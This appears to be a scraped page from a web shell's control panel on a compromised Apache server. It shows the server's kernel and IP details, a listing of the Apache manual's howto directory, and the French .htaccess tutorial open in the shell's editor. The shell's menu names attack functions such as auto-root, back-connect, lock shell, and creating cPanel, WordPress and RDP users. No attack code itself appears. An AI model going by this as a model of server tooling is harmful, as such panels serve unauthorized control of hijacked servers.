Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.216.207.192
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
apache /
manual /
howto /
[ HOME SHELL ]
Name
Size
Permission
Action
access.html
289
B
-rw-r--r--
access.html.en
13.48
KB
-rw-r--r--
access.html.es
14.67
KB
-rw-r--r--
access.html.fr.utf8
14.67
KB
-rw-r--r--
auth.html
538
B
-rw-r--r--
auth.html.en
36.79
KB
-rw-r--r--
auth.html.es
43.08
KB
-rw-r--r--
auth.html.fr.utf8
39.8
KB
-rw-r--r--
auth.html.ja.utf8
44.12
KB
-rw-r--r--
auth.html.ko.euc-kr
20.56
KB
-rw-r--r--
auth.html.tr.utf8
38.35
KB
-rw-r--r--
cgi.html
449
B
-rw-r--r--
cgi.html.en
30.3
KB
-rw-r--r--
cgi.html.es
35.69
KB
-rw-r--r--
cgi.html.fr.utf8
34.22
KB
-rw-r--r--
cgi.html.ja.utf8
35.95
KB
-rw-r--r--
cgi.html.ko.euc-kr
25.81
KB
-rw-r--r--
htaccess.html
568
B
-rw-r--r--
htaccess.html.en
27.4
KB
-rw-r--r--
htaccess.html.es
29.59
KB
-rw-r--r--
htaccess.html.fr.utf8
30.3
KB
-rw-r--r--
htaccess.html.ja.utf8
28.22
KB
-rw-r--r--
htaccess.html.ko.euc-kr
20.17
KB
-rw-r--r--
htaccess.html.pt-br
25.49
KB
-rw-r--r--
http2.html
286
B
-rw-r--r--
http2.html.en
25.65
KB
-rw-r--r--
http2.html.es
28.66
KB
-rw-r--r--
http2.html.fr.utf8
29.4
KB
-rw-r--r--
index.html
550
B
-rw-r--r--
index.html.en
8.42
KB
-rw-r--r--
index.html.es
8.14
KB
-rw-r--r--
index.html.fr.utf8
8.88
KB
-rw-r--r--
index.html.ja.utf8
7.81
KB
-rw-r--r--
index.html.ko.euc-kr
6.29
KB
-rw-r--r--
index.html.zh-cn.utf8
6.47
KB
-rw-r--r--
public_html.html
580
B
-rw-r--r--
public_html.html.en
13.34
KB
-rw-r--r--
public_html.html.es
14.16
KB
-rw-r--r--
public_html.html.fr.utf8
14.29
KB
-rw-r--r--
public_html.html.ja.utf8
15.03
KB
-rw-r--r--
public_html.html.ko.euc-kr
11.2
KB
-rw-r--r--
public_html.html.tr.utf8
14.29
KB
-rw-r--r--
reverse_proxy.html
217
B
-rw-r--r--
reverse_proxy.html.en
20.09
KB
-rw-r--r--
reverse_proxy.html.fr.utf8
21.91
KB
-rw-r--r--
ssi.html
449
B
-rw-r--r--
ssi.html.en
25.57
KB
-rw-r--r--
ssi.html.es
27.52
KB
-rw-r--r--
ssi.html.fr.utf8
27.68
KB
-rw-r--r--
ssi.html.ja.utf8
30.59
KB
-rw-r--r--
ssi.html.ko.euc-kr
22.29
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : htaccess.html.fr.utf8
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="fr" xml:lang="fr"><head> <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" /> <!-- XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX This file is generated from xml source: DO NOT EDIT XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX --> <title>Tutoriel du serveur HTTP Apache : fichiers .htaccess - Serveur HTTP Apache Version 2.4</title> <link href="../style/css/manual.css" rel="stylesheet" media="all" type="text/css" title="Main stylesheet" /> <link href="../style/css/manual-loose-100pc.css" rel="alternate stylesheet" media="all" type="text/css" title="No Sidebar - Default font size" /> <link href="../style/css/manual-print.css" rel="stylesheet" media="print" type="text/css" /><link rel="stylesheet" type="text/css" href="../style/css/prettify.css" /> <script src="../style/scripts/prettify.min.js" type="text/javascript"> </script> <link href="../images/favicon.ico" rel="shortcut icon" /></head> <body id="manual-page"><div id="page-header"> <p class="menu"><a href="../mod/">Modules</a> | <a href="../mod/directives.html">Directives</a> | <a href="http://wiki.apache.org/httpd/FAQ">FAQ</a> | <a href="../glossary.html">Glossaire</a> | <a href="../sitemap.html">Plan du site</a></p> <p class="apache">Serveur HTTP Apache Version 2.4</p> <img alt="" src="../images/feather.png" /></div> <div class="up"><a href="./"><img title="<-" alt="<-" src="../images/left.gif" /></a></div> <div id="path"> <a href="http://www.apache.org/">Apache</a> > <a href="http://httpd.apache.org/">Serveur HTTP</a> > <a href="http://httpd.apache.org/docs/">Documentation</a> > <a href="../">Version 2.4</a> > <a href="./">Recettes / Tutoriels</a></div><div id="page-content"><div id="preamble"><h1>Tutoriel du serveur HTTP Apache : fichiers .htaccess</h1> <div class="toplang"> <p><span>Langues Disponibles: </span><a href="../en/howto/htaccess.html" hreflang="en" rel="alternate" title="English"> en </a> | <a href="../es/howto/htaccess.html" hreflang="es" rel="alternate" title="Español"> es </a> | <a href="../fr/howto/htaccess.html" title="Français"> fr </a> | <a href="../ja/howto/htaccess.html" hreflang="ja" rel="alternate" title="Japanese"> ja </a> | <a href="../ko/howto/htaccess.html" hreflang="ko" rel="alternate" title="Korean"> ko </a> | <a href="../pt-br/howto/htaccess.html" hreflang="pt-br" rel="alternate" title="Português (Brasil)"> pt-br </a></p> </div> <p>Les fichiers <code>.htaccess</code> fournissent une méthode pour modifier la configuration du serveur au niveau de chaque répertoire.</p> </div> <div id="quickview"><a href="https://www.apache.org/foundation/contributing.html" class="badge"><img src="https://www.apache.org/images/SupportApache-small.png" alt="Support Apache!" /></a><ul id="toc"><li><img alt="" src="../images/down.gif" /> <a href="#related">Fichiers .htaccess</a></li> <li><img alt="" src="../images/down.gif" /> <a href="#what">Que sont ce fichiers, comment les utiliser ?</a></li> <li><img alt="" src="../images/down.gif" /> <a href="#when">Quand doit-on (ne doit-on pas) utiliser les fichiers .htaccess ?</a></li> <li><img alt="" src="../images/down.gif" /> <a href="#how">Comment sont appliquées les directives ?</a></li> <li><img alt="" src="../images/down.gif" /> <a href="#auth">Exemple d'authentification</a></li> <li><img alt="" src="../images/down.gif" /> <a href="#ssi">Exemple d'Inclusion Côté Serveur (Server Side Includes - SSI)</a></li> <li><img alt="" src="../images/down.gif" /> <a href="#rewrite">Les règles de réécriture dans les fichiers .htaccess</a></li> <li><img alt="" src="../images/down.gif" /> <a href="#cgi">Exemple de CGI</a></li> <li><img alt="" src="../images/down.gif" /> <a href="#troubleshoot">Résolution des problèmes</a></li> </ul><h3>Voir aussi</h3><ul class="seealso"><li><a href="#comments_section">Commentaires</a></li></ul></div> <div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div> <div class="section"> <h2><a name="related" id="related">Fichiers .htaccess</a></h2> <table class="related"><tr><th>Modules Apparentés</th><th>Directives Apparentées</th></tr><tr><td><ul><li><code class="module"><a href="../mod/core.html">core</a></code></li><li><code class="module"><a href="../mod/mod_authn_file.html">mod_authn_file</a></code></li><li><code class="module"><a href="../mod/mod_authz_groupfile.html">mod_authz_groupfile</a></code></li><li><code class="module"><a href="../mod/mod_cgi.html">mod_cgi</a></code></li><li><code class="module"><a href="../mod/mod_include.html">mod_include</a></code></li><li><code class="module"><a href="../mod/mod_mime.html">mod_mime</a></code></li></ul></td><td><ul><li><code class="directive"><a href="../mod/core.html#accessfilename">AccessFileName</a></code></li><li><code class="directive"><a href="../mod/core.html#allowoverride">AllowOverride</a></code></li><li><code class="directive"><a href="../mod/core.html#options">Options</a></code></li><li><code class="directive"><a href="../mod/mod_mime.html#addhandler">AddHandler</a></code></li><li><code class="directive"><a href="../mod/core.html#sethandler">SetHandler</a></code></li><li><code class="directive"><a href="../mod/mod_authn_core.html#authtype">AuthType</a></code></li><li><code class="directive"><a href="../mod/mod_authn_core.html#authname">AuthName</a></code></li><li><code class="directive"><a href="../mod/mod_authn_file.html#authuserfile">AuthUserFile</a></code></li><li><code class="directive"><a href="../mod/mod_authz_groupfile.html#authgroupfile">AuthGroupFile</a></code></li><li><code class="directive"><a href="../mod/mod_authz_core.html#require">Require</a></code></li></ul></td></tr></table> <div class="note">Les fichiers <code>.htaccess</code> ne doivent être utilisés que si vous n'avez pas accès au fichier de configuration du serveur principal. L'utilisation des fichiers <code>.htaccess</code> ralentit le fonctionnement de votre serveur HTTP Apache. Il est toujours préférable de définir les directives que vous pouvez inclure dans un fichier <code>.htaccess</code> dans une section <code class="directive"><a href="../mod/core.html#directory">Directory</a></code>, car elles produiront le même effet avec de meilleures performances.</div> </div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div> <div class="section"> <h2><a name="what" id="what">Que sont ce fichiers, comment les utiliser ?</a></h2> <p>Les fichiers <code>.htaccess</code> (ou "fichiers de configuration distribués") fournissent une méthode pour modifier la configuration du serveur au niveau d'un répertoire. Un fichier, contenant une ou plusieurs directives de configuration, est placé dans un répertoire de documents particulier, et ses directives s'appliquent à ce répertoire et à tous ses sous-répertoires.</p> <div class="note"><h3>Note :</h3> <p>Si vous voulez donner un autre nom à votre fichier <code>.htaccess</code>, vous pouvez le faire en utilisant la directive <code class="directive"><a href="../mod/core.html#accessfilename">AccessFileName</a></code>. Par exemple, si vous préférez nommer votre fichier <code>.config</code>, vous pouvez mettre ceci dans le fichier de configuration de votre serveur :</p> <pre class="prettyprint lang-config">AccessFileName ".config"</pre> </div> <p>En général, les fichiers <code>.htaccess</code> utilisent la même syntaxe que les <a href="../configuring.html#syntax">fichiers de configuration principaux</a>. Ce que vous pouvez mettre dans ces fichier est déterminé par la directive <code class="directive"><a href="../mod/core.html#allowoverride">AllowOverride</a></code>. Cette directive spécifie, sous forme de catégories, quelles directives seront traitées si elles se trouvent dans un fichier <code>.htaccess</code>. Si une directive est permise dans un fichier <code>.htaccess</code> file, la documentation de cette directive contiendra une section Override, spécifiant quelle valeur doit prendre <code class="directive"><a href="../mod/core.html#allowoverride">AllowOverride</a></code> pour que cette directive soit traitée.</p> <p>Par exemple, si vous regardez la documentation de la directive <code class="directive"><a href="../mod/core.html#adddefaultcharset">AddDefaultCharset</a></code>, vous verrez que cette dernière est permise dans les fichiers <code>.htaccess</code> (Voir la ligne de contexte dans le résumé de la directive). La ligne <a href="../mod/directive-dict.html#Context">Override</a> indique <code>FileInfo</code>. Vous devez donc avoir au moins <code>AllowOverride FileInfo</code> pour que cette directive soit traitée dans les fichiers <code>.htaccess</code>.</p> <div class="example"><h3>Exemple :</h3><table> <tr> <td><a href="../mod/directive-dict.html#Context">Contexte :</a></td> <td>configuration du serveur, serveur virtuel, directory, .htaccess</td> </tr> <tr> <td><a href="../mod/directive-dict.html#Override">Override:</a></td> <td>FileInfo</td> </tr> </table></div> <p>Si vous n'êtes pas sûr qu'une directive particulière soit permise dans un fichier <code>.htaccess</code>, lisez la documentation de cette directive, et consultez la ligne de contexte pour ".htaccess".</p> </div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div> <div class="section"> <h2><a name="when" id="when">Quand doit-on (ne doit-on pas) utiliser les fichiers .htaccess ?</a></h2> <p>En principe, vous ne devriez utiliser les fichiers <code>.htaccess</code> que lorsque vous n'avez pas accès au fichier de configuration du serveur principal. Par exemple, la fausse idée selon laquelle l'authentification de l'utilisateur devrait toujours être faite dans les fichiers <code>.htaccess</code> est très répandue. Il est aussi souvent avancé, ces dernières années, que les directives de <code class="module"><a href="../mod/mod_rewrite.html">mod_rewrite</a></code> doivent être définies dans les fichiers <code>.htaccess</code>. Ceci est tout simplement faux. Vous pouvez configurer l'authentification des utilisateurs au niveau de la configuration du serveur principal, et c'est en fait cette méthode qui doit être privilégiée. De même, les directives de <code>mod_rewrite</code> fonctionneront mieux, à de nombreux égards, dans le contexte du serveur principal.</p> <p>Les fichiers <code>.htaccess</code> ne devraient être utilisés que dans le cas où les fournisseurs de contenu ont besoin de modifier la configuration du serveur au niveau d'un répertoire, mais ne possèdent pas l'accès root sur le système du serveur. Si l'administrateur du serveur ne souhaite pas effectuer des modifications de configuration incessantes, il peut être intéressant de permettre aux utilisateurs isolés d'effectuer eux-mêmes ces modifications par le biais de fichiers <code>.htaccess</code>. Ceci est particulièrement vrai dans le cas où le fournisseur d'accès à Internet héberge de nombreux sites d'utilisateurs sur un seul serveur, et souhaite que ces utilisateurs puissent modifier eux-mêmes leurs configurations.</p> <p>Cependant et d'une manière générale, il vaut mieux éviter d'utiliser les fichiers <code>.htaccess</code>. Tout élément de configuration que vous pourriez vouloir mettre dans un fichier <code>.htaccess</code>, peut aussi être mis, et avec la même efficacité, dans une section <code class="directive"><a href="../mod/core.html#directory"><Directory></a></code> du fichier de configuration de votre serveur principal.</p> <p>Il y a deux raisons principales d'éviter l'utilisation des fichiers <code>.htaccess</code>.</p> <p>La première est liée aux performances. Lorsque la directive <code class="directive"><a href="../mod/core.html#allowoverride">AllowOverride</a></code> est définie de façon à autoriser l'utilisation des fichiers <code>.htaccess</code>, httpd va rechercher leur présence dans chaque répertoire. Ainsi, permettre l'utilisation des fichiers <code>.htaccess</code> est déjà en soi une cause de dégradation des performances, que vous utilisiez effectivement ces fichiers ou non ! De plus, le fichier <code>.htaccess</code> est chargé en mémoire chaque fois qu'un document fait l'objet d'une requête.</p> <p>Notez aussi que httpd doit rechercher les fichiers <code>.htaccess</code> dans tous les répertoires de niveau supérieur, afin de rassembler toutes les directives qui s'appliquent au répertoire courant (Voir la section <a href="#how">comment sont appliquées les directives</a>). Ainsi, si un fichier fait l'objet d'une requête à partir d'un répertoire <code>/www/htdocs/exemple</code>, httpd doit rechercher les fichiers suivants :</p> <div class="example"><p><code> /.htaccess<br /> /www/.htaccess<br /> /www/htdocs/.htaccess<br /> /www/htdocs/exemple/.htaccess </code></p></div> <p>En conséquence, chaque accès à un fichier de ce répertoire nécessite 4 accès au système de fichiers supplémentaires pour rechercher des fichiers <code>.htaccess</code>, même si aucun de ces fichiers n'est présent. Notez que cet exemple ne peut se produire que si les fichiers <code>.htaccess</code> ont été autorisés pour le répertoire <code>/</code>, ce qui est rarement le cas.</p> <p>La seconde raison d'éviter l'utilisation des fichiers <code>.htaccess</code> est liée à la sécurité. Si vous permettez aux utilisateurs de modifier la configuration du serveur, il peut en résulter des conséquences sur lesquelles vous n'aurez aucun contrôle. Réfléchissez bien avant de donner ce privilège à vos utilisateurs. Notez aussi que ne pas donner aux utilisateurs les privilèges dont ils ont besoin va entraîner une augmentation des demandes de support technique. Assurez-vous d'avoir informé clairement vos utilisateurs du niveau de privilèges que vous leur avez attribué. Indiquer exactement comment vous avez défini la directive <code class="directive"><a href="../mod/core.html#allowoverride">AllowOverride</a></code> et diriger les utilisateurs vers la documentation correspondante vous évitera bien des confusions ultérieures.</p> <p>Notez que mettre un fichier <code>.htaccess</code> contenant une directive dans un répertoire <code>/www/htdocs/exemple</code> revient exactement au même que mettre la même directive dans une section Directory <code><Directory "/www/htdocs/exemple"></code> du fichier de configuration de votre serveur principal :</p> <p>Fichier <code>.htaccess</code> dans <code>/www/htdocs/exemple</code> :</p> <div class="example"><h3>Contenu du fichier .htaccess dans <code>/www/htdocs/exemple</code></h3><pre class="prettyprint lang-config">AddType text/example ".exm"</pre> </div> <div class="example"><h3>Section de votre fichier <code>httpd.conf</code></h3><pre class="prettyprint lang-config"><Directory "/www/htdocs/example"> AddType text/example .exm </Directory></pre> </div> <p>Cependant, la perte de performances sera moindre si vous définissez cette directive dans la configuration de votre serveur principal, car cette dernière ne sera chargée qu'une seule fois au moment du démarrage du serveur, alors qu'elle le sera à chaque accès dans le cas d'un fichier <code>.htaccess</code>.</p> <p>L'utilisation des fichiers <code>.htaccess</code> peut être entièrement désactivée en définissant la directive <code class="directive"><a href="../mod/core.html#allowoverride">AllowOverride</a></code> à <code>none</code> :</p> <pre class="prettyprint lang-config">AllowOverride None</pre> </div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div> <div class="section"> <h2><a name="how" id="how">Comment sont appliquées les directives ?</a></h2> <p>Les directives de configuration situées dans un fichier <code>.htaccess</code> s'appliquent au répertoire dans lequel ce fichier <code>.htaccess</code> se trouve, ainsi qu'à tous ses sous-répertoires. Cependant, il est important de garder à l'esprit qu'il peut y avoir des fichiers <code>.htaccess</code> dans les répertoires de niveau supérieur. Les directives sont appliquées selon l'ordre dans lequel elles sont rencontrées. Ainsi, les directives d'un fichier <code>.htaccess</code> situé dans un répertoire particulier peuvent écraser les directives se trouvant dans des fichiers <code>.htaccess</code> situés à un niveau supérieur dans l'arborescence des répertoires. Et ces dernières peuvent elles-mêmes avoir écrasé des directives d'un fichier <code>.htaccess</code> situé à un niveau encore plus haut, ou dans le fichier de configuration du serveur principal.</p> <p>Exemple :</p> <p>Dans le répertoire <code>/www/htdocs/exemple1</code> se trouve un fichier <code>.htaccess</code> contenant ce qui suit :</p> <pre class="prettyprint lang-config">Options +ExecCGI</pre> <p>Note : "<code>AllowOverride Options</code>" doit être présent pour permettre l'utilisation de la directive "<code class="directive"><a href="../mod/core.html#options">Options</a></code>" dans les fichiers <code>.htaccess</code>.</p> <p>Dans le répertoire <code>/www/htdocs/exemple1/exemple2</code> se trouve un fichier <code>.htaccess</code> contenant ce qui suit :</p> <pre class="prettyprint lang-config">Options Includes</pre> <p>Ainsi, à cause de ce second fichier <code>.htaccess</code> du répertoire <code>/www/htdocs/exemple1/exemple2</code>, l'exécution des CGI est interdite, car la dernière définition d'options <code>Options Includes</code> écrase toute autre définition d'options d'un fichier <code>.htaccess</code> situé dans un répertoire de niveau supérieur.</p> <h3><a name="merge" id="merge">Interactions entre les fichiers .htaccess et les fichiers de configuration du serveur principal</a></h3> <p>Comme indiqué dans la documentation sur les <a href="../sections.html">Sections de configuration</a>, les fichiers <code>.htaccess</code> peuvent écraser les directives des sections <code class="directive"><a href="../mod/core.html#directory"><Directory></a></code> pour le répertoire correspondant, mais peuvent eux-mêmes être écrasés par d'autres types de sections des fichiers de la configuration principale. Cette possibilité peut s'avérer utile pour forcer certaines configurations, même en cas de présence de l'option libérale <code class="directive"><a href="../mod/core.html#allowoverride">AllowOverride</a></code>. Par exemple, pour interdire l'exécution de scripts en autorisant la définition de toute autre option dans les fichiers <code>.htaccess</code>, vous pouvez utiliser :</p> <pre class="prettyprint lang-config"><Directory "/www/htdocs"> AllowOverride All </Directory> <Location "/"> Options +IncludesNoExec -ExecCGI </Location></pre> <div class="note">Dans cet exemple, on considère que le chemin défini par la directive <code class="directive"><a href="../mod/core.html#documentroot">DocumentRoot</a></code> est <code>/www/htdocs</code>.</div> </div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div> <div class="section"> <h2><a name="auth" id="auth">Exemple d'authentification</a></h2> <p>Si vous accédez directement à ce point du document pour apprendre à effectuer une authentification, il est important de noter ceci. Il existe une fausse idée selon laquelle il serait nécessaire d'utiliser les fichiers <code>.htaccess</code> pour implémenter l'authentification par mot de passe. Ceci est tout simplement faux. Pour y parvenir, il est préférable de mettre les directives d'authentification dans une section <code class="directive"><a href="../mod/core.html#directory"><Directory></a></code> du fichier de configuration de votre serveur principal, et les fichiers <code>.htaccess</code> ne devraient être utilisés que dans le cas où vous n'avez pas accès au fichier de configuration du serveur principal. Voir <a href="#when">ci-dessus</a> pour savoir dans quels cas vous devez ou ne devez pas utiliser les fichiers <code>.htaccess</code>.</p> <p>Ceci étant dit, si vous pensez que vous devez quand-même utiliser un fichier <code>.htaccess</code>, vous pouvez utiliser la configuration suivante :</p> <p>Contenu du fichier <code>.htaccess</code> :</p> <pre class="prettyprint lang-config">AuthType Basic AuthName "Password Required" AuthUserFile "/www/passwords/password.file" AuthGroupFile "/www/passwords/group.file" Require group admins</pre> <p>Notez que <code>AllowOverride AuthConfig</code> doit être présent pour que ces directives produisent leur effet.</p> <p>Vous pouvez vous référer au <a href="auth.html">tutoriel sur l'authentification</a> pour une description plus détaillée de l'authentification et de l'autorisation.</p> </div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div> <div class="section"> <h2><a name="ssi" id="ssi">Exemple d'Inclusion Côté Serveur (Server Side Includes - SSI)</a></h2> <p>Les fichiers <code>.htaccess</code> sont aussi couramment utilisés pour activer les SSI pour un répertoire particulier. Pour y parvenir, on utilise les directives de configuration suivantes, placées dans un fichier <code>.htaccess</code> enregistré dans le répertoire considéré :</p> <pre class="prettyprint lang-config">Options +Includes AddType text/html shtml AddHandler server-parsed shtml</pre> <p>Notez que <code>AllowOverride Options</code> et <code>AllowOverride FileInfo</code> doivent être tous les deux présents pour que ces directives puissent produire leur effet.</p> <p>Vous pouvez vous référer au <a href="ssi.html">tutoriel SSI</a> pour une description plus détaillée des SSI.</p> </div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div> <div class="section"> <h2><a name="rewrite" id="rewrite">Les règles de réécriture dans les fichiers .htaccess</a></h2> <p>Sivous utilisez des directives <code class="directive"><a href="../mod/mod_rewrite.html#rewriterule">RewriteRule</a></code> dans un fichier <code>.htaccess</code>, gardez à l'esprit que les choses sont légèrement différentes dans un contexte de répertoire. En particulier, les règles sont relatives au répertoire courant, et non à l'URI original. Considérez les exemples suivants :</p> <pre class="prettyprint lang-config"># Dans httpd.conf RewriteRule "^/images/(.+)\.jpg" "/images/$1.png" # Dans un fichier .htaccess situé dans le répertoire racine de vos # documents RewriteRule "^images/(.+)\.jpg" "images/$1.png" # Dans un fichier .htaccess situé dans le répertoire images/ RewriteRule "^(.+)\.jpg" "$1.png"</pre> <p>On voit que si le fichier <code>.htaccess</code> se situe à la racine de vos documents, le slash de tête est supprimé de la valeur de remplacement spécifiée pour la règle <code class="directive"><a href="../mod/mod_rewrite.html#rewriterule">RewriteRule</a></code>, et que si le fichier <code>.htaccess</code> se situe dans le répertoire <code>images</code>, la chaîne <code>/images/</code> disparaît de cette même valeur de remplacement. Il doit donc en être de même dans votre expression rationnelle.</p> <p>Veuillez vous référer à cette <a href="../rewrite/">documentation</a> pour une étude détaillée de l'utilisation du module <code>mod_rewrite</code>.</p> </div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div> <div class="section"> <h2><a name="cgi" id="cgi">Exemple de CGI</a></h2> <p>En fin de compte, vous avez décidé d'utiliser un fichier <code>.htaccess</code> pour permettre l'exécution des programmes CGI dans un répertoire particulier. Pour y parvenir, vous pouvez utiliser la configuration suivante :</p> <pre class="prettyprint lang-config">Options +ExecCGI AddHandler cgi-script cgi pl</pre> <p>Alternativement, si vous souhaitez que tous les fichiers d'un répertoire donné soient considérés comme des programmes CGI, vous pouvez utiliser la configuration suivante :</p> <pre class="prettyprint lang-config">Options +ExecCGI SetHandler cgi-script</pre> <p>Notez que <code>AllowOverride Options</code> et <code>AllowOverride FileInfo</code> doivent être tous les deux présents pour que ces directives puissent produire leur effet.</p> <p>Vous pouvez vous référer au <a href="cgi.html">tutoriel CGI</a> pour une description plus détaillée de la configuration et de la proprammation CGI.</p> </div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div> <div class="section"> <h2><a name="troubleshoot" id="troubleshoot">Résolution des problèmes</a></h2> <p>De nombreuses raisons peuvent être à l'origine du fait que les directives que vous avez mises dans un fichier <code>.htaccess</code> ne produisent pas l'effet désiré.</p> <p>Le plus souvent, le problème vient du fait que la définition de la directive <code class="directive"><a href="../mod/core.html#allowoverride">AllowOverride</a></code> ne permet pas l'activation des directives de votre fichier <code>.htaccess</code>. Vérifiez si une directive <code>AllowOverride None</code> n'affecte pas le répertoire où se trouve votre fichier. Un bon test consiste à mettre des directives dont la syntaxe est erronée dans votre ficher <code>.htaccess</code> et de recharger la page. Si aucune erreur n'est générée par le serveur, il est pratiquement certain qu'une directive <code>AllowOverride None</code> affecte votre répertoire.</p> <p>Par contre, si vous obtenez des erreurs de serveur lorsque vous tentez d'accéder à des documents, consultez votre journal des erreurs de httpd. Il vous indiquera probablement que la directive utilisée dans votre fichier <code>.htaccess</code> n'est pas permise.</p> <div class="example"><p><code> [Fri Sep 17 18:43:16 2010] [alert] [client 192.168.200.51] /var/www/html/.htaccess: DirectoryIndex not allowed here </code></p></div> <p>Cela signifie soit que vous utilisez une directive qui n'est jamais permise dans les fichiers <code>.htaccess</code>, soit que vous n'avez tout simplement pas défini la directive <code class="directive"><a href="../mod/core.html#allowoverride">AllowOverride</a></code> à un niveau suffisant pour la directive que vous utilisez. Consultez la documentation de cette directive pour déterminer quel cas s'applique.</p> <p>Le journal des erreurs peut aussi vous signaler une erreur de syntaxe dans l'usage de la directive elle-même.</p> <div class="example"><p><code> [Sat Aug 09 16:22:34 2008] [alert] [client 192.168.200.51] /var/www/html/.htaccess: RewriteCond: bad flag delimiters </code></p></div> <p>Dans ce cas, le message d'erreur sera spécifique à l'erreur de syntaxe que vous avez commise.</p> </div></div> <div class="bottomlang"> <p><span>Langues Disponibles: </span><a href="../en/howto/htaccess.html" hreflang="en" rel="alternate" title="English"> en </a> | <a href="../es/howto/htaccess.html" hreflang="es" rel="alternate" title="Español"> es </a> | <a href="../fr/howto/htaccess.html" title="Français"> fr </a> | <a href="../ja/howto/htaccess.html" hreflang="ja" rel="alternate" title="Japanese"> ja </a> | <a href="../ko/howto/htaccess.html" hreflang="ko" rel="alternate" title="Korean"> ko </a> | <a href="../pt-br/howto/htaccess.html" hreflang="pt-br" rel="alternate" title="Português (Brasil)"> pt-br </a></p> </div><div class="top"><a href="#page-header"><img src="../images/up.gif" alt="top" /></a></div><div class="section"><h2><a id="comments_section" name="comments_section">Commentaires</a></h2><div class="warning"><strong>Notice:</strong><br />This is not a Q&A section. Comments placed here should be pointed towards suggestions on improving the documentation or server, and may be removed by our moderators if they are either implemented or considered invalid/off-topic. Questions on how to manage the Apache HTTP Server should be directed at either our IRC channel, #httpd, on Libera.chat, or sent to our <a href="https://httpd.apache.org/lists.html">mailing lists</a>.</div> <script type="text/javascript"><!--//--><![CDATA[//><!-- var comments_shortname = 'httpd'; var comments_identifier = 'http://httpd.apache.org/docs/2.4/howto/htaccess.html'; (function(w, d) { if (w.location.hostname.toLowerCase() == "httpd.apache.org") { d.write('<div id="comments_thread"><\/div>'); var s = d.createElement('script'); s.type = 'text/javascript'; s.async = true; s.src = 'https://comments.apache.org/show_comments.lua?site=' + comments_shortname + '&page=' + comments_identifier; (d.getElementsByTagName('head')[0] || d.getElementsByTagName('body')[0]).appendChild(s); } else { d.write('<div id="comments_thread">Comments are disabled for this page at the moment.<\/div>'); } })(window, document); //--><!]]></script></div><div id="footer"> <p class="apache">Copyright 2023 The Apache Software Foundation.<br />Autorisé sous <a href="http://www.apache.org/licenses/LICENSE-2.0">Apache License, Version 2.0</a>.</p> <p class="menu"><a href="../mod/">Modules</a> | <a href="../mod/directives.html">Directives</a> | <a href="http://wiki.apache.org/httpd/FAQ">FAQ</a> | <a href="../glossary.html">Glossaire</a> | <a href="../sitemap.html">Plan du site</a></p></div><script type="text/javascript"><!--//--><![CDATA[//><!-- if (typeof(prettyPrint) !== 'undefined') { prettyPrint(); } //--><!]]></script> </body></html>
Close